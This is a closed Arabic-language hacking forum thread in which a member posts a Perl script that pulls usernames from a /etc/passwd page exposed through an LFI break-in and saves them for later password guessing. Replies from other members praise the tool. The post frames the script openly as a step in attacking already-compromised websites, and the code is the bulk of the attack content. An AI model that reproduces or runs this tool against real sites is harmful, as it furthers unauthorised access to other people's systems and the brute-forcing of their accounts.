حالة الموضوع:
مغلق
  1. Mr.shares

    Mr.shares Developer

    الأنتساب:
    ‏17 مايو 2012
    المشاركات:
    26
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    ارض المجاهدين
    السلام عليكم ورحمه الله وبركاته ..

    اداه ممتازه لترتيب اليوزرات ..

    مثلن اخترقنا موقع عن طريق LFI وحاولنا نحوس وماقدرنا *:"

    مالنا الا نجمع اليوزرات ونشتغل على التخمين ..

    المهم هالأداه وضيفتها تجميع اليوزرات في ملف txt

    صيغه الأده : Perl ( يتووجب وجود مترجم البيرل )

    صوره توضح طريقه عمل الأداه ..

    [​IMG]

    شرح الأداه &:"

    http://www.youtube.com/watch?v=9hg4WnD-iJY

    السورس :

    كود PHP:
    #!/usr/bin/perl



    # Title : /etc/passwd Users Extract

    # Coder : Mr.shares

    # Home : www.iq-t34m.host.org





    use LWP::Simple;



    print(
    "



    ####################################

    #    /etc/passwd Users Extract !   #

    #    Simple TooL By Mr.shares      #     

    #    Say Bism Allah and start ;)   #

    #       Greets To Very Secret      #

    #          and All Coder'z         #

    #         www.iq-t34m.host.org     #

    ####################################



    "
    );



    @
    users = ();



    sleep(1);



    print 
    "\n[+] Put etc/passwd link : ";



    $etc_passwd = <>;



    print 
    "\n[+] Put output FileName : ";



    $output = <>;



    my $content get($etc_passwd);



    if(!
    $content){



    die(
    "\n[~] Can't get this page > ".$etc_passwd);



    }else{



    print 
    "\n# start Extract ...\n";



    }



    while( 
    $content =~ m{(.*?):x:(.*)}) {



    push(@users"$1");



    }



    if(
    scalar(@users) == 0){



    print 
    "\n[~] No user Found in this Page [ ".$etc_passwd." ]";



    }else{



    print 
    "\n# User'z Founded : [ ".scalar(@users)." ] :D\n";



    foreach 
    $user(@users){



    open(OUTPUT,">>".$output);

    printf OUTPUT "$user\n";



    }



    close (OUTPUT);



    print 
    "\n# User'z OutPut ... ".$output."\n";



    print 
    "# Done ..\n";



    }



    #_EOF !  
     
  2. ابويحي6

    ابويحي6 Developer

    الأنتساب:
    ‏26 مايو 2012
    المشاركات:
    9
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    المملكة العربية السعودية
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !


    بآرك الله فيك
    )5:")5:")5:")5:"
    )5:")5:"
    )5:"
     
  3. عـبـد الله

    عـبـد الله Developer

    الأنتساب:
    ‏4 سبتمبر 2011
    المشاركات:
    33
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !


    مبدع عزيزى الله يسلم ايديك يا غالى


    ويعطيك العافية يا بطلل &:":
     
  4. Dr.H4CkEr

    Dr.H4CkEr DeveloPer Plus

    الأنتساب:
    ‏3 أكتوبر 2011
    المشاركات:
    209
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    18
    الإقامة:
    بلآد الحرمين .. الريآض ..
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !

    الله يعطيـــك العــآفيــه
     
  5. programeur

    programeur Developer

    الأنتساب:
    ‏7 يوليو 2012
    المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الوظيفة:
    etudien
    الإقامة:
    tunis
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !

    بارك الله فيكـ&:":
     
  6. كلآشنكوف

    كلآشنكوف Developer

    الأنتساب:
    ‏19 يوليو 2012
    المشاركات:
    88
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !

    شكرا لك على الموضوع الجميل و المفيذ ♥

    جزاك الله الف خير على كل ما تقدمه لهذا المنتدى
    :{1}:

    ننتظر ابداعاتك الجميلة بفارغ الصبر
    :{8}:
     
  7. جـالـكسـي

    جـالـكسـي Developer

    الأنتساب:
    ‏15 يونيو 2012
    المشاركات:
    10
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    || حـفراوي ~
    رد: Perl : Extract User From /etc/passwd Tool ترتيب اليوزرات !

    يعطيك آلف آلف عآفيه
    ومآقصرت يآغآلي
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة